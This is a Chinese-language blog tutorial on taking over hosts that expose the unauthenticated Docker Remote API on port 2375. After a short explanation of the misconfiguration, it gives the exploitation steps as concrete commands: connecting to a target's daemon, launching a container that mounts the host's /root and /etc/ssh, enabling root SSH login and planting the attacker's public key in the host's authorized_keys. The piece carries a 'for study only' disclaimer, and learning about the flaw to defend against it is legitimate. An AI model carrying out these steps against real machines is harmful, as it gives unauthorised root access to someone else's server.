Docker Remote API未授权访问
创始人
2024-06-01 12:14:51
0

目录

  • Docker简述
  • Docker 2375端口安全风险
  • Docker命令连接
  • 利用

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

Docker简述

Docker是一个开源的应用容器引擎,基于LXC的高级容器引擎,源代码托管在Github 上,基于go语言并遵从Apache2.0协议,开源让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。

Docker 2375端口安全风险

为了实现集群管理,Docker提供了远程管理接口。Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令。正是因为错误地使用了Docker远端接口,引起了安全漏洞,因此在启动Docker Daemon时,加入-H 0.0.0.0:2375,Docker Daemon就可以接收远端的Docker Client发送的指令。Docker是把2375端口作为非加密端口暴露出来,一般是用在测试环境中。此时,没有任何加密和认证过程,只要知道Docker主机的IP,任何人都可以管理这台主机上的容器和镜像。

在这里插入图片描述

Docker命令连接

当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时,导致2375端口对外网开放,攻击者可以直接用Docker命令连接并管理docker daemon进行直接操作:

docker -H tcp://$HOST:2375 info
在这里插入图片描述

利用

1、查看远程服务器上已有的镜像

在这里插入图片描述

2、远程启一个tomcat容器(挂载宿主机的/root和/etc/ssh目录)

docker -H tcp://192.168.10.171:2375 run –rm -it –entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log tomcat

在这里插入图片描述
在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes,允许root通过ssh登录

3、攻击机上生成一对公私钥:ssh-keygen -t rsa -C “xxx@123.com”

4、切换到容器,将生成的公钥,拷贝到容器的/tmp/root/.ssh/authorized_keys文件中

cat >> /tmp/root/.ssh/authorized_keys <ssh-rsa AAA....     # 这里粘贴你刚刚在自己机器生成的id_rsa.pub
>EOF# 如果/tmp/root/.ssh目录不存在,就直接创建

5、登录服务器

在这里插入图片描述

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...